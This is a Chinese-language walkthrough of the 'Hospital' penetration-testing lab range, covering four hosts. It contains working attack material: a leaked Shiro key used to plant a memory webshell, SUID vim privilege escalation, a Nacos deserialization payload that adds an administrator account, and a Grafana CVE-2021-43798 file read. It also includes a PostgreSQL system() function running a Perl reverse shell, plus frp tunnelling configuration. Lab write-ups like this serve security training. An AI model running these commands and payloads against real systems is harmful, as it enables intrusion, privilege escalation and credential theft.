春秋云镜-Hospital
前言
又是拖了很久没打的靶场,先从这个看起来比较简单的 Hospital 开始入手
web01
fscan 扫一下发现泄露的这个 heapdump 文件,拿工具提取一下有用信息JDumpSpider
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES
===========================================
发现这个网站存在 shiro 组件,拿 shiro 工具再注一个内存马冰蝎进去,然后连一下
find / -user root -perm -4000 -print 2>/dev/null
观察到有可以进行 suid 提权的信息,这里建议先弹 shell ,更为稳定
vim.basic有suid权限,这里可以直接用vim.basic /root/flag/flag01.txt
读 flag
可以用vim.basic /root/.ssh/authorized_keys
去直接写 key ,但是这个交互非常屎,这里换一种交互式shell方法
因为这个里面有 python 环境,所以可参阅实现交互式shell的几种方式,后渗透之文件下载(Linux篇)
python3 -c 'import pty; pty.spawn("/bin/bash")'
利用 suid 提权到 root
/usr/bin/vim.basic -c ':python3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
再 echo 写入 ssh 公钥,ssh 连接读取 flag 并进行下一步
web02
上一个 fscan 开扫
./fscan -h 172.30.12.0/24
有一个后台,先上传 frp 把隧道搭起来,过几天再学一下 Stowaway,在新版 frp 弃用 ini 之后,我们选择这样配置 frpc.toml 文件
serverAddr = "vps_ip"
serverPort = 7100
loginFailExit = true
[[proxies]]
name = "test"
type = "tcp"
remotePort = 6100
[proxies.plugin]
type = "socks5"
proxifier 配置
访问 web02 8080端口服务发现是 nacos ,用工具检测一下发现有 yaml 反序列化NacosExploitGUI
nacos:nacos 登录看到Data id 为 db-config,反序列化的 jar 包需要修改一下,改成添加用户并设置为 administrators
注意这里设置的密码要加符号,不然这个反序列化只能正常打一次,后面 rdp 登不上去,只能重启环境了
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("net user aniale pass@123 /add");
Runtime.getRuntime().exec("net localgroup administrators aniale /add");
} catch (IOException e) {
e.printStackTrace();
}
}
把 jar 包挂在 web01 上,然后python -m http.server 8000
去加载,收到请求就成功了,然后 rdp 连上去读 flag
web03
访问 172.30.12.236:8080,burp 抓包加插件打 fastjson ,这里 burp 去开 socks5 代理,然后把 proxifier 关了,不然配置会乱抓不到包,在请求头执行命令
弹 shell 到 web01上
web04
发现是两个网卡
./fscan -h 172.30.54.1/24
网络结构发生变化,再开一层代理,web01->frps ,web03->frpc,配置文件和第一层差别不大,proxifier 配一下 proxy chain,然后记得改 rules
Grafana存在CVE-2021-43798,读postgresql用户密码
./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000
postgres : Postgres@123
本地 navicat 连上去,后续需要用 psql 提权,所以先改一下root密码,创建命令执行函数,perl 弹 shell 到 web03
ALTER USER root WITH PASSWORD '123456';
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('perl -e \'use Socket;$i="172.30.54.179";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');
python3 -c 'import pty;pty.spawn("/bin/bash")'
sudo -l查看到存在psql
打psql提权:psql | GTFOBins